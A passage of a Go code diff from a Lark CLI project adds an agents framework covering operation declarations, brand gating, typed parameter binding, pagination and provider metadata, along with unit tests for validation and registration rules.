+	if tc, _ := m["task_count"].(float64); tc != 2 {
+		t.Errorf("task_count should be 2, got %v", m["task_count"])
+	}
+	if m["awaiting_input"] != true {
+		t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
+	}
+	at, ok := m["active_task"].(map[string]interface{})
+	if !ok {
+		t.Fatalf("active_task should be a nested object, got %v", m["active_task"])
+	}
+	if at["summary"] != "按大区还是品类拆?" {
+		t.Errorf("active_task.summary should be carried, got %v", at["summary"])
+	}
+
+	// A genuinely empty context keeps an explicit 0 (not conflated with unknown);
+	// active_task is omitted; awaiting_input stays omitted when false.
+	b, _ = json.Marshal(ContextDetail{ContextID: "empty", TaskCount: Int(0)})
+	m = map[string]interface{}{}
+	_ = json.Unmarshal(b, &m)
+	if tc, ok := m["task_count"].(float64); !ok || tc != 0 {
+		t.Errorf("an explicit &0 task_count must stay on the wire as 0, got %v", m["task_count"])
+	}
+	if _, ok := m["active_task"]; ok {
+		t.Error("active_task should be omitted via omitempty when nil")
+	}
+	if _, ok := m["awaiting_input"]; ok {
+		t.Error("awaiting_input should be omitted via omitempty when false")
+	}
+
+	// nil task_count = the provider cannot supply the count: the field is
+	// omitted entirely, so unknown is never mistaken for an empty context.
+	b, _ = json.Marshal(ContextDetail{ContextID: "unknown"})
+	m = map[string]interface{}{}
+	_ = json.Unmarshal(b, &m)
+	if _, ok := m["task_count"]; ok {
+		t.Error("a nil TaskCount should omit task_count from the wire (unknown ≠ 0)")
+	}
+}

internal/agents/ops.go

@@ -0,0 +1,312 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"fmt"
+	"reflect"
+	"strconv"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// Op is one declared operation: the business parameters it accepts bound to
+// the handler that serves it. Attaching Params to the handler (rather than an
+// agent-global table) makes "parameters declared on an unimplemented
+// operation" impossible by construction. A zero-value Op means the operation
+// is not supported.
+type Op[H any] struct {
+	Params []CardParam
+	// Brands scopes this capability to a subset of brands (feishu/lark). Empty
+	// means all brands. It is DECLARED at registration (brand-agnostic) and
+	// GATED at command time against the resolved brand — the registry stays
+	// offline. Register validates every value is feishu|lark.
+	Brands  []core.LarkBrand
+	Handler H
+}
+
+// The eight operation shapes. Each is an alias to an instantiated Op — the
+// handler signatures are exactly the former hook signatures, so a provider
+// migrates by wrapping `Send: f` into `Send: SendOp{Handler: f}`.
+type (
+	SendOp             = Op[func(ctx context.Context, rt Runtime, in SendInput) (*AgentTask, error)]
+	TaskGetOp          = Op[func(ctx context.Context, rt Runtime, taskID string) (*AgentTask, error)]
+	TaskListOp         = Op[func(ctx context.Context, rt Runtime, contextID string, page PageParams) ([]TaskSummary, PageInfo, error)]
+	TaskCancelOp       = Op[func(ctx context.Context, rt Runtime, taskID string) error]
+	ContextListOp      = Op[func(ctx context.Context, rt Runtime, page PageParams) ([]ContextSummary, PageInfo, error)]
+	ContextGetOp       = Op[func(ctx context.Context, rt Runtime, ctxID string) (*ContextDetail, error)]
+	ContextDeleteOp    = Op[func(ctx context.Context, rt Runtime, ctxID string) error]
+	ArtifactDownloadOp = Op[func(ctx context.Context, rt Runtime, taskID, artifactID string) (*ArtifactData, error)]
+)
+
+// wired reports whether the operation has a handler. IMPLEMENTATION
+// CONSTRAINT: H is a func type parameter, so `any(o.Handler) != nil` would box
+// a typed nil into a non-nil interface and report every unwired operation as
+// supported — reflect.Value.IsNil is the only correct generic path (verified
+// by test on the zero value).
+func (o Op[H]) wired() bool {
+	v := reflect.ValueOf(o.Handler)
+	return v.Kind() == reflect.Func && !v.IsNil()
+}
+
+func (o Op[H]) params() []CardParam { return o.Params }
+
+func (o Op[H]) brands() []core.LarkBrand { return o.Brands }
+
+// Verb constants: the operation vocabulary is the capability key set plus
+// "send" — the AI reads one set of words for both "which verbs exist"
+// (capabilities) and "what parameters each verb takes" (--operation).
+const (
+	VerbSend             = "send"
+	VerbTaskGet          = CapTaskGet          // "task_get"
+	VerbTaskList         = CapTaskList         // "task_list"
+	VerbTaskCancel       = CapTaskCancel       // "task_cancel"
+	VerbContextList      = CapContextList      // "context_list"
+	VerbContextGet       = CapContextGet       // "context_get"
+	VerbContextDelete    = CapContextDelete    // "context_delete"
+	VerbArtifactDownload = CapArtifactDownload // "artifact_download" (task get --artifact)
+)
+
+// OpInfo is one operation's declaration as seen by framework consumers
+// (card --operation, has_parameters, per-verb validation).
+type OpInfo struct {
+	Verb   string
+	Wired  bool
+	Params []CardParam
+	// Brands is the operation's brand scope (empty = all brands), surfaced so
+	// the command layer can gate a wired-but-brand-excluded capability.
+	Brands []core.LarkBrand
+}
+
+// opDecl is the single-enumeration seam: every Op instantiation satisfies it,
+// so Ops() is the one place that knows the verb↔field mapping. All framework
+// consumers (capabilities, has_parameters, --operation, validation) enumerate
+// through it — adding a ninth operation means extending exactly this table.
+type opDecl interface {
+	wired() bool
+	params() []CardParam
+	brands() []core.LarkBrand
+}
+
+// Ops enumerates the spec's eight operations in fixed verb order.
+func (s *AgentSpec) Ops() []OpInfo {
+	decls := []struct {
+		verb string
+		op   opDecl
+	}{
+		{VerbSend, s.Send},
+		{VerbTaskGet, s.GetTask},
+		{VerbTaskList, s.ListTasks},
+		{VerbTaskCancel, s.CancelTask},
+		{VerbContextList, s.ListContexts},
+		{VerbContextGet, s.GetContext},
+		{VerbContextDelete, s.DeleteContext},
+		{VerbArtifactDownload, s.DownloadArtifact},
+	}
+	out := make([]OpInfo, 0, len(decls))
+	for _, d := range decls {
+		out = append(out, OpInfo{Verb: d.verb, Wired: d.op.wired(), Params: d.op.params(), Brands: d.op.brands()})
+	}
+	return out
+}
+
+// Op looks up one operation by verb (ok=false for a word outside the verb
+// vocabulary).
+func (s *AgentSpec) Op(verb string) (OpInfo, bool) {
+	for _, o := range s.Ops() {
+		if o.Verb == verb {
+			return o, true
+		}
+	}
+	return OpInfo{}, false
+}
+
+// Verbs returns the fixed verb vocabulary (declaration order of Ops).
+func Verbs() []string {
+	return []string{
+		VerbSend, VerbTaskGet, VerbTaskList, VerbTaskCancel,
+		VerbContextList, VerbContextGet, VerbContextDelete, VerbArtifactDownload,
+	}
+}
+
+// OpAvailableForBrand reports whether an operation whose declaration lists
+// `brands` is available under `brand`: an empty declaration means all brands,
+// otherwise `brand` must be one of the listed values. It is the per-capability
+// sibling of SpecAvailableForBrand (whole-agent) and is reused by both
+// DeriveCapabilities (card matrix) and the command layer's per-verb brand gate.
+func OpAvailableForBrand(brands []core.LarkBrand, brand core.LarkBrand) bool {
+	if len(brands) == 0 {
+		return true
+	}
+	for _, b := range brands {
+		if b == brand {
+			return true
+		}
+	}
+	return false
+}
+
+// Float is a literal helper for CardParam.Min/Max.
+func Float(v float64) *float64 { return &v }
+
+// Int is a literal helper for ContextDetail.TaskCount.
+func Int(v int) *int { return &v }
+
+// ── Typed parameter access for provider handlers ──
+//
+// The framework validates every parameter against its declaration BEFORE a
+// handler runs (rt.Params() contract), so the typed helpers treat a parse
+// failure as provider coding drift, not user error.
+
+// ParamInt returns the named integer parameter (ok=false when absent). The
+// framework has already validated the value against Type "integer", so a parse
+// failure is a programmer error (reading a non-integer param as int) and panics
+// like Register does.
+func ParamInt(rt Runtime, name string) (int64, bool) {
+	raw, ok := rt.Params()[name]
+	if !ok {
+		return 0, false
+	}
+	n, err := strconv.ParseInt(raw, 10, 64)
+	if err != nil {
+		panic(fmt.Sprintf("agent: ParamInt(%q) on a non-integer value %q — declaration/consumption drift", name, raw))
+	}
+	return n, true
+}
+
+// ParamBool returns the named boolean parameter (ok=false when absent).
+func ParamBool(rt Runtime, name string) (bool, bool) {
+	raw, ok := rt.Params()[name]
+	if !ok {
+		return false, false
+	}
+	b, err := strconv.ParseBool(raw)
+	if err != nil {
+		panic(fmt.Sprintf("agent: ParamBool(%q) on a non-boolean value %q — declaration/consumption drift", name, raw))
+	}
+	return b, true
+}
+
+// BindParams decodes rt.Params() into a provider struct via `param:"name"`
+// tags, so the consumption side is compile-checked instead of stringly map
+// lookups. Absent optional parameters leave the zero value (required ones are
+// guaranteed present by the rt.Params() contract). Supported field kinds:
+// string, int/int64, float64, bool. A conversion failure or unsupported field
+// kind indicates declaration/struct drift (a provider coding error) and
+// returns a typed internal error; agenttest.CheckParamsBinding catches the
+// same drift in CI before it can happen at runtime.
+func BindParams[T any](rt Runtime) (T, error) {
+	var out T
+	v := reflect.ValueOf(&out).Elem()
+	if v.Kind() != reflect.Struct {
+		return out, errs.NewInternalError(errs.SubtypeUnknown, "BindParams: %s 不是 struct", v.Type())
+	}
+	if err := bindStruct(v, rt.Params(), ""); err != nil {
+		return out, err
+	}
+	return out, nil
+}
+
+// ParamObject assembles an object parameter's leaves (the flat "name.field"
+// keys in rt.Params()) into a typed struct via `param:"field"` tags. ok=false
+// when no leaf of the object is present at all (the object was not provided
+// and no field declares a Default). Same contract as BindParams: values were
+// validated leaf-by-leaf before the handler ran; a conversion failure means
+// declaration/struct drift.
+func ParamObject[T any](rt Runtime, name string) (T, bool, error) {
+	var out T
+	v := reflect.ValueOf(&out).Elem()
+	if v.Kind() != reflect.Struct {
+		return out, false, errs.NewInternalError(errs.SubtypeUnknown, "ParamObject: %s 不是 struct", v.Type())
+	}
+	prefix := name + "."
+	sub := map[string]string{}
+	for k, val := range rt.Params() {
+		if strings.HasPrefix(k, prefix) {
+			sub[strings.TrimPrefix(k, prefix)] = val
+		}
+	}
+	if len(sub) == 0 {
+		return out, false, nil
+	}
+	if err := bindStruct(v, sub, name+"."); err != nil {
+		return out, true, err
+	}
+	return out, true, nil
+}
+
+// bindStruct is the shared tag-driven decoder: params keys are matched against
+// `param` tags; a nested struct field with a tag recurses with its "tag."
+// prefix stripped (object params). where prefixes error messages with the
+// dotted path context.
+func bindStruct(v reflect.Value, params map[string]string, where string) error {
+	t := v.Type()
+	for i := 0; i < t.NumField(); i++ {
+		f := t.Field(i)
+		tag := f.Tag.Get("param")
+		if tag == "" || tag == "-" {
+			continue
+		}
+		if !f.IsExported() {
+			// reflect cannot Set an unexported field — surface the coding error as
+			// a typed error instead of a runtime panic (CheckParamsBinding flags
+			// the same mistake in CI).
+			return errs.NewInternalError(errs.SubtypeUnknown,
+				"BindParams: 字段 %s 未导出但带 param tag（无法赋值）", f.Name)
+		}
+		// Nested struct = object param: bind its leaves from the "tag." prefix.
+		if f.Type.Kind() == reflect.Struct {
+			prefix := tag + "."
+			sub := map[string]string{}
+			for k, val := range params {
+				if strings.HasPrefix(k, prefix) {
+					sub[strings.TrimPrefix(k, prefix)] = val
+				}
+			}
+			if len(sub) > 0 {
+				if err := bindStruct(v.Field(i), sub, where+prefix); err != nil {
+					return err
+				}
+			}
+			continue
+		}
+		raw, ok := params[tag]
+		if !ok {
+			continue // absent optional → zero value
+		}
+		full := where + tag
+		switch f.Type.Kind() {
+		case reflect.String:
+			v.Field(i).SetString(raw)
+		case reflect.Int, reflect.Int64:
+			n, err := strconv.ParseInt(raw, 10, 64)
+			if err != nil {
+				return errs.NewInternalError(errs.SubtypeUnknown,
+					"BindParams: 参数 %s 的值 %q 无法解析为 %s（声明与消费漂移）", full, raw, f.Type.Kind()).WithCause(err)
+			}
+			v.Field(i).SetInt(n)
+		case reflect.Float64:
+			fl, err := strconv.ParseFloat(raw, 64)
+			if err != nil {
+				return errs.NewInternalError(errs.SubtypeUnknown,
+					"BindParams: 参数 %s 的值 %q 无法解析为 float64（声明与消费漂移）", full, raw).WithCause(err)
+			}
+			v.Field(i).SetFloat(fl)
+		case reflect.Bool:
+			b, err := strconv.ParseBool(raw)
+			if err != nil {
+				return errs.NewInternalError(errs.SubtypeUnknown,
+					"BindParams: 参数 %s 的值 %q 无法解析为 bool（声明与消费漂移）", full, raw).WithCause(err)
+			}
+			v.Field(i).SetBool(b)
+		default:
+			return errs.NewInternalError(errs.SubtypeUnknown,
+				"BindParams: 字段 %s 的类型 %s 不受支持（支持 string/int/int64/float64/bool 或嵌套 struct）", f.Name, f.Type.Kind())
+		}
+	}
+	return nil
+}

internal/agents/ops_test.go

@@ -0,0 +1,380 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"testing"
+)
+
+// TestOpZeroValueNotWired pins the typed-nil implementation constraint: the
+// zero-value Op must report unwired. The naive generic check
+// `any(o.Handler) != nil` would box a typed nil func into a non-nil interface
+// and report every unwired operation as supported — this test kills that
+// implementation on sight.
+func TestOpZeroValueNotWired(t *testing.T) {
+	var s AgentSpec
+	for _, o := range s.Ops() {
+		if o.Wired {
+			t.Errorf("zero-value spec: operation %s must NOT be wired (typed-nil boxing trap)", o.Verb)
+		}
+	}
+	s.Send = SendOp{Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }}
+	if op, _ := s.Op(VerbSend); !op.Wired {
+		t.Error("a wired Send must report Wired=true")
+	}
+}
+
+// TestOpsVocabularyMatchesCapabilities is the single-enumeration contract test:
+// the --operation verb set must be exactly the capability keys backed by
+// operations, plus "send" (file_input / input_required are behavioral flags,
+// not verbs). A ninth operation added to one table but not the other fails
+// here.
+func TestOpsVocabularyMatchesCapabilities(t *testing.T) {
+	verbs := map[string]bool{}
+	for _, v := range Verbs() {
+		verbs[v] = true
+	}
+	if !verbs[VerbSend] {
+		t.Fatal("verb vocabulary must include send")
+	}
+	for _, capKey := range []string{
+		CapTaskGet, CapTaskList, CapTaskCancel,
+		CapContextList, CapContextGet, CapContextDelete, CapArtifactDownload,
+	} {
+		if !verbs[capKey] {
+			t.Errorf("operation-backed capability %q missing from the verb vocabulary", capKey)
+		}
+	}
+	if verbs[CapFileInput] || verbs[CapInputRequired] {
+		t.Error("behavioral flags (file_input/input_required) must NOT be verbs")
+	}
+	if len(verbs) != 8 {
+		t.Errorf("verb vocabulary should have exactly 8 entries, got %d", len(verbs))
+	}
+	// Ops() must enumerate the same set, in the Verbs() order.
+	var s AgentSpec
+	ops := s.Ops()
+	if len(ops) != len(Verbs()) {
+		t.Fatalf("Ops() should enumerate %d operations, got %d", len(Verbs()), len(ops))
+	}
+	for i, v := range Verbs() {
+		if ops[i].Verb != v {
+			t.Errorf("Ops()[%d] should be %s (Verbs() order), got %s", i, v, ops[i].Verb)
+		}
+	}
+}
+
+// fakeParamsRT is a Runtime stub whose Params() returns a fixed map.
+type fakeParamsRT struct{ p map[string]string }
+
+func (r fakeParamsRT) AgentID() string           { return "" }
+func (r fakeParamsRT) IsBot() bool               { return false }
+func (r fakeParamsRT) Params() map[string]string { return r.p }
+func (r fakeParamsRT) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
+	return nil, nil
+}
+func (r fakeParamsRT) CallMultipart(context.Context, string, string, map[string]string, []FilePart) (json.RawMessage, error) {
+	return nil, nil
+}
+
+// TestBindParams pins the typed consumption seam: tag-driven decode across all
+// four supported kinds, zero values for absent optionals, and a typed error on
+// declaration/struct drift.
+func TestBindParams(t *testing.T) {
+	type P struct {
+		WS      string  `param:"workspace_id"`
+		N       int64   `param:"max_results"`
+		Ratio   float64 `param:"ratio"`
+		Dry     bool    `param:"dry"`
+		Skipped string  // no tag → ignored
+	}
+	rt := fakeParamsRT{p: map[string]string{
+		"workspace_id": "ws_42", "max_results": "50", "ratio": "0.5", "dry": "true",
+	}}
+	p, err := BindParams[P](rt)
+	if err != nil {
+		t.Fatalf("BindParams should decode: %v", err)
+	}
+	if p.WS != "ws_42" || p.N != 50 || p.Ratio != 0.5 || p.Dry != true {
+		t.Fatalf("decoded values wrong: %+v", p)
+	}
+
+	// absent optional → zero value
+	p2, err := BindParams[P](fakeParamsRT{p: map[string]string{}})
+	if err != nil || p2.WS != "" || p2.N != 0 {
+		t.Fatalf("absent params should decode to zero values: %+v %v", p2, err)
+	}
+
+	// declaration/struct drift: int field fed a non-integer → typed error
+	type Bad struct {
+		N int64 `param:"workspace_id"`
+	}
+	if _, err := BindParams[Bad](rt); err == nil {
+		t.Fatal("type drift should return an error")
+	}
+
+	// non-struct T is a typed error, not a panic
+	if _, err := BindParams[string](rt); err == nil {
+		t.Fatal("non-struct T should error")
+	}
+
+	// unexported tagged field is a typed error, not a reflect panic
+	type unexported struct {
+		ws string `param:"workspace_id"` //nolint:unused // the tag is the point
+	}
+	if _, err := BindParams[unexported](rt); err == nil {
+		t.Fatal("unexported tagged field should return a typed error (reflect cannot Set it)")
+	}
+}
+
+// TestParamObjectAndNestedBind pins the object consumption seam: ParamObject
+// assembles "name.*" leaves; a nested tagged struct in BindParams does the
+// same inline; ok=false when no leaf exists.
+func TestParamObjectAndNestedBind(t *testing.T) {
+	type Filter struct {
+		Region    string  `param:"region"`
+		MinAmount float64 `param:"min_amount"`
+		Active    bool    `param:"active"`
+	}
+	rt := fakeParamsRT{p: map[string]string{
+		"workspace_id": "ws_42", "filter.region": "east", "filter.min_amount": "100", "filter.active": "true",
+	}}
+	f, ok, err := ParamObject[Filter](rt, "filter")
+	if err != nil || !ok {
+		t.Fatalf("ParamObject should assemble: ok=%v err=%v", ok, err)
+	}
+	if f.Region != "east" || f.MinAmount != 100 || !f.Active {
+		t.Fatalf("assembled values wrong: %+v", f)
+	}
+	if _, ok, _ := ParamObject[Filter](rt, "absent_obj"); ok {
+		t.Error("ParamObject on an absent object should be ok=false")
+	}
+
+	type Top struct {
+		WS     string `param:"workspace_id"`
+		Filter Filter `param:"filter"`
+	}
+	top, err := BindParams[Top](rt)
+	if err != nil {
+		t.Fatalf("nested BindParams should decode: %v", err)
+	}
+	if top.WS != "ws_42" || top.Filter.Region != "east" || top.Filter.MinAmount != 100 {
+		t.Fatalf("nested decode wrong: %+v", top)
+	}
+}
+
+// TestRegisterObjectRules table-drives the object declaration rules.
+func TestRegisterObjectRules(t *testing.T) {
+	mk := func(params []CardParam) Provider {
+		return Provider{
+			Scheme: "objrules", Label: "x", AgentIDSource: "x",
+			Identities: []IdentitySpec{{Type: IdentityUser}},
+			Instance: &AgentSpec{
+				Send:    SendOp{Params: params, Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }},
+				GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
+			},
+		}
+	}
+	cases := []struct {
+		name   string
+		params []CardParam
+		panics string
+	}{
+		{"object without fields", []CardParam{{Name: "f", Type: "object"}}, "non-empty Fields"},
+		{"object with required", []CardParam{{Name: "f", Type: "object", Required: true,
+			Fields: []CardParam{{Name: "a"}}}}, "must not set Required"},
+		{"object with default", []CardParam{{Name: "f", Type: "object", Default: "x",
+			Fields: []CardParam{{Name: "a"}}}}, "must not set Required/Enum/Default"},
+		{"nested object", []CardParam{{Name: "f", Type: "object",
+			Fields: []CardParam{{Name: "g", Type: "object", Fields: []CardParam{{Name: "a"}}}}}}, "nested object"},
+		{"fields on scalar", []CardParam{{Name: "s", Fields: []CardParam{{Name: "a"}}}}, "only valid on Type"},
+		{"leaf rules recurse", []CardParam{{Name: "f", Type: "object",
+			Fields: []CardParam{{Name: "a", Type: "integer", Enum: []string{"x"}}}}}, "must parse as integer"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			defer func() {
+				r := recover()
+				if r == nil {
+					t.Fatalf("Register should panic (%s)", tc.panics)
+				}
+				if msg, _ := r.(string); !strings.Contains(msg, tc.panics) {
+					t.Fatalf("panic should contain %q, got %v", tc.panics, r)
+				}
+			}()
+			Register(mk(tc.params))
+		})
+	}
+	// legal object registers fine (fresh scheme per test binary run)
+	Register(mk([]CardParam{{Name: "render", Type: "object",
+		Fields: []CardParam{{Name: "theme", Enum: []string{"light", "dark"}, Default: "light"}}}}))
+}
+
+// TestParamHelpers pins ParamInt/ParamBool presence semantics and the
+// programmer-error panic on drift.
+func TestParamHelpers(t *testing.T) {
+	rt := fakeParamsRT{p: map[string]string{"n": "7", "b": "true", "s": "x"}}
+	if n, ok := ParamInt(rt, "n"); !ok || n != 7 {
+		t.Errorf("ParamInt: want 7,true got %d,%v", n, ok)
+	}
+	if _, ok := ParamInt(rt, "absent"); ok {
+		t.Error("ParamInt on absent key should be ok=false")
+	}
+	if b, ok := ParamBool(rt, "b"); !ok || !b {
+		t.Errorf("ParamBool: want true,true got %v,%v", b, ok)
+	}
+	defer func() {
+		if recover() == nil {
+			t.Error("ParamInt on a non-integer value should panic (declaration/consumption drift)")
+		}
+	}()
+	ParamInt(rt, "s")
+}
+
+// TestValidateValue pins the shared Type/Enum/Min-Max checker.
+func TestValidateValue(t *testing.T) {
+	intp := CardParam{Name: "n", Type: "integer", Min: Float(1), Max: Float(100)}
+	if err := ValidateValue(intp, "50"); err != nil {
+		t.Errorf("50 in 1..100 should pass: %v", err)
+	}
+	if err := ValidateValue(intp, "500"); err == nil || !strings.Contains(err.Error(), "1..100") {
+		t.Errorf("500 should violate range with the bounds in the message, got %v", err)
+	}
+	if err := ValidateValue(intp, "abc"); err == nil || !strings.Contains(err.Error(), "integer") {
+		t.Errorf("abc should violate type, got %v", err)
+	}
+	enump := CardParam{Name: "p", Type: "string", Enum: []string{"low", "high"}}
+	if err := ValidateValue(enump, "mid"); err == nil || !strings.Contains(err.Error(), "low|high") {
+		t.Errorf("enum violation should list the full set, got %v", err)
+	}
+	nump := CardParam{Name: "r", Type: "number", Min: Float(0), Max: Float(1)}
+	for _, bad := range []string{"NaN", "Inf", "-Inf"} {
+		if err := ValidateValue(nump, bad); err == nil {
+			t.Errorf("%s should be rejected as non-finite (would sail past range checks)", bad)
+		}
+	}
+	boolp := CardParam{Name: "b", Type: "boolean"}
+	if err := ValidateValue(boolp, "yes"); err == nil {
+		t.Error("'yes' is not a Go bool literal, should fail")
+	}
+	if err := ValidateValue(boolp, "true"); err != nil {
+		t.Errorf("'true' should pass: %v", err)
+	}
+}
+
+// TestRegisterParamChecks table-drives the Register fail-fast rules for
+// parameter declarations.
+func TestRegisterParamChecks(t *testing.T) {
+	specWith := func(params []CardParam) Provider {
+		return Provider{
+			Scheme: "regcheck", Label: "x", AgentIDSource: "x",
+			Identities: []IdentitySpec{{Type: IdentityUser}},
+			Instance: &AgentSpec{
+				Send:    SendOp{Params: params, Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }},
+				GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
+			},
+		}
+	}
+	cases := []struct {
+		name   string
+		mut    func(*Provider)
+		panics string
+	}{
+		{"bad name charset", func(p *Provider) { p.Instance.Send.Params = []CardParam{{Name: "Bad-Name"}} }, "param name"},
+		{"dup name", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a"}, {Name: "a"}}
+		}, "duplicate param name"},
+		{"bad type", func(p *Provider) { p.Instance.Send.Params = []CardParam{{Name: "a", Type: "float"}} }, "Type must be one of"},
+		{"enum on boolean", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Type: "boolean", Enum: []string{"true"}}}
+		}, "Enum is only valid"},
+		{"enum+range mutex", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Type: "integer", Enum: []string{"1"}, Min: Float(0)}}
+		}, "mutually exclusive"},
+		{"integer enum member not int", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Type: "integer", Enum: []string{"x"}}}
+		}, "must parse as integer"},
+		{"default+required mutex", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Required: true, Default: "v"}}
+		}, "Default and Required"},
+		{"default violates enum", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Enum: []string{"x"}, Default: "y"}}
+		}, "Default violates"},
+		{"min>max", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Type: "integer", Min: Float(2), Max: Float(1)}}
+		}, "Min must be <= Max"},
+		{"range on string", func(p *Provider) {
+			p.Instance.Send.Params = []CardParam{{Name: "a", Min: Float(1)}}
+		}, "Min/Max are only valid"},
+		{"params on unwired op", func(p *Provider) {
+			p.Instance.ListTasks = TaskListOp{Params: []CardParam{{Name: "a"}}}
+		}, "unwired operation"},
+		{"listparams without listagents", func(p *Provider) {
+			p.ListParams = []CardParam{{Name: "env"}}
+		}, "ListParams without a ListAgents"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			p := specWith(nil)
+			tc.mut(&p)
+			defer func() {
+				r := recover()
+				if r == nil {
+					t.Fatalf("Register should panic (%s)", tc.panics)
+				}
+				if msg, _ := r.(string); !strings.Contains(msg, tc.panics) {
+					t.Fatalf("panic message should contain %q, got %v", tc.panics, r)
+				}
+			}()
+			Register(p)
+		})
+	}
+}
+
+// TestRegisterNormalizesType pins the empty-Type ⇒ "string" normalization: the
+// most common declaration shape must not force every param to spell Type out.
+func TestRegisterNormalizesType(t *testing.T) {
+	p := Provider{
+		Scheme: "normtype", Label: "x", AgentIDSource: "x",
+		Identities: []IdentitySpec{{Type: IdentityUser}},
+		Instance: &AgentSpec{
+			Send: SendOp{
+				Params:  []CardParam{{Name: "plain"}},
+				Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil },
+			},
+			GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
+		},
+	}
+	Register(p)
+	prov, _ := Info("normtype")
+	if got := prov.Instance.Send.Params[0].Type; got != "string" {
+		t.Errorf("empty Type should normalize to string, got %q", got)
+	}
+}
+
+// TestHasParameters pins the card cue derivation: only wired operations with a
+// non-empty declaration appear, in fixed verb order, never nil.
+func TestHasParameters(t *testing.T) {
+	s := AgentSpec{
+		Send: SendOp{
+			Params:  []CardParam{{Name: "a"}},
+			Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil },
+		},
+		GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
+		// unwired op with params is a Register error; here simulate wired+empty
+		ListTasks: TaskListOp{Handler: func(context.Context, Runtime, string, PageParams) ([]TaskSummary, PageInfo, error) {
+			return nil, PageInfo{}, nil
+		}},
+	}
+	got := HasParameters(&s)
+	if len(got) != 1 || got[0] != VerbSend {
+		t.Errorf("has_parameters should be [send], got %v", got)
+	}
+	if HasParameters(&AgentSpec{}) == nil {
+		t.Error("has_parameters must never be nil")
+	}
+}

internal/agents/pagination.go

@@ -0,0 +1,23 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+// PageParams is the pagination request the framework hands every list hook. It
+// is the Feishu-OpenAPI cursor model (page_token / page_size) reduced to the two
+// fields a provider needs: an opaque cursor and a requested size. The framework
+// fills it from the --page-token / --page-size flags before calling a list hook.
+type PageParams struct {
+	Token string // opaque cursor from a prior response; "" = first page
+	Size  int    // requested page size; 0 = provider default
+}
+
+// PageInfo is what a list hook returns alongside the page's items. NextToken is
+// the opaque cursor the caller echoes back (as PageParams.Token) to fetch the
+// following page; an empty NextToken with HasMore=false marks the last page. The
+// framework surfaces it as meta.has_more / meta.page_token and, when there is a
+// next page, a ready-made "下一页" next-action command.
+type PageInfo struct {
+	NextToken string // opaque cursor for the next page; "" = last page
+	HasMore   bool
+}

internal/agents/provider.go

@@ -0,0 +1,147 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+
+	"github.com/larksuite/cli/internal/core"
+)
+
+// SendInput is the input to send. Business parameters are NOT here — they ride
+// Runtime.Params() like every other operation, so send and the other seven
+// verbs share one parameter model.
+type SendInput struct {
+	Text      string
+	Files     []string
+	ContextID string
+	TaskID    string
+
+	// Answers is the structured reply to the task's pending input_required
+	// question group, keyed per the design doc §10.1 encoding: key is a
+	// question_id (bare form — each value must hit one of that question's
+	// OptionIDs) or "<question_id>.text" (free-text form — exactly one value,
+	// CLI-guarded). Values keep argv order; repeated bare values on a
+	// multi-select accumulate. A nil/empty map means this send is not answering.
+	// The provider serializes Answers into the reply message's A2A DataPart
+	// (kind=answers). Whether to validate semantics (missing/option/count) is
+	// the provider's own policy — tolerant LLM backends may consume partial or
+	// free answers, strict form backends validate — but any violation it DOES
+	// report must use the collect-all ValidationError shape with per-question
+	// params entries (Reason enum), acceptance must be atomic (validate + record
+	// + leave input_required as one step, side effects after), and nothing may
+	// be silently dropped. Text, when present alongside Answers, is the
+	// message-level remark (TextPart) — never a question's answer.
+	//
+	// Wire note (§6.7 messageId, deferred to the adapter): the deterministic
+	// answer-submission id — hash(TaskID + the canonical Answers encoding) — is
+	// NOT carried here; the adapter assembling the A2A message computes it into
+	// Message.messageId so a same-command retry dedupes server-side. There is no
+	// wire in-repo yet, so the framework deliberately ships no dead field.
+	Answers map[string][]string
+}
+
+// CardInfo is the per-agent descriptive metadata a provider supplies for its
+// Card (the display Name/Description and Skills). It is returned by
+// AgentSpec.Describe. It deliberately does NOT carry parameters: offline
+// validation only trusts the static per-operation declarations, and dynamic
+// per-agent parameter contracts belong to the future overlay phase.
+type CardInfo struct {
+	Name        string
+	Description string
+	Skills      []CardSkill
+}
+
+// Provider is one business domain (one scheme): registration metadata plus its
+// agent set. It is a declarative value — registered from agent/register.go, not
+// constructed via a factory. Exactly one of Catalog / Instance is set (Register
+// enforces), which encodes the kind, so there is no separate Kind field to keep
+// in sync.
+type Provider struct {
+	Scheme         string         // ref prefix, e.g. "example"
+	Label          string         // `agents list` LABEL column
+	AgentIDSource  string         // where to get an agent_id (AI onboarding cue)
+	RequiredScopes []string       // flat set; preflight is all-or-nothing
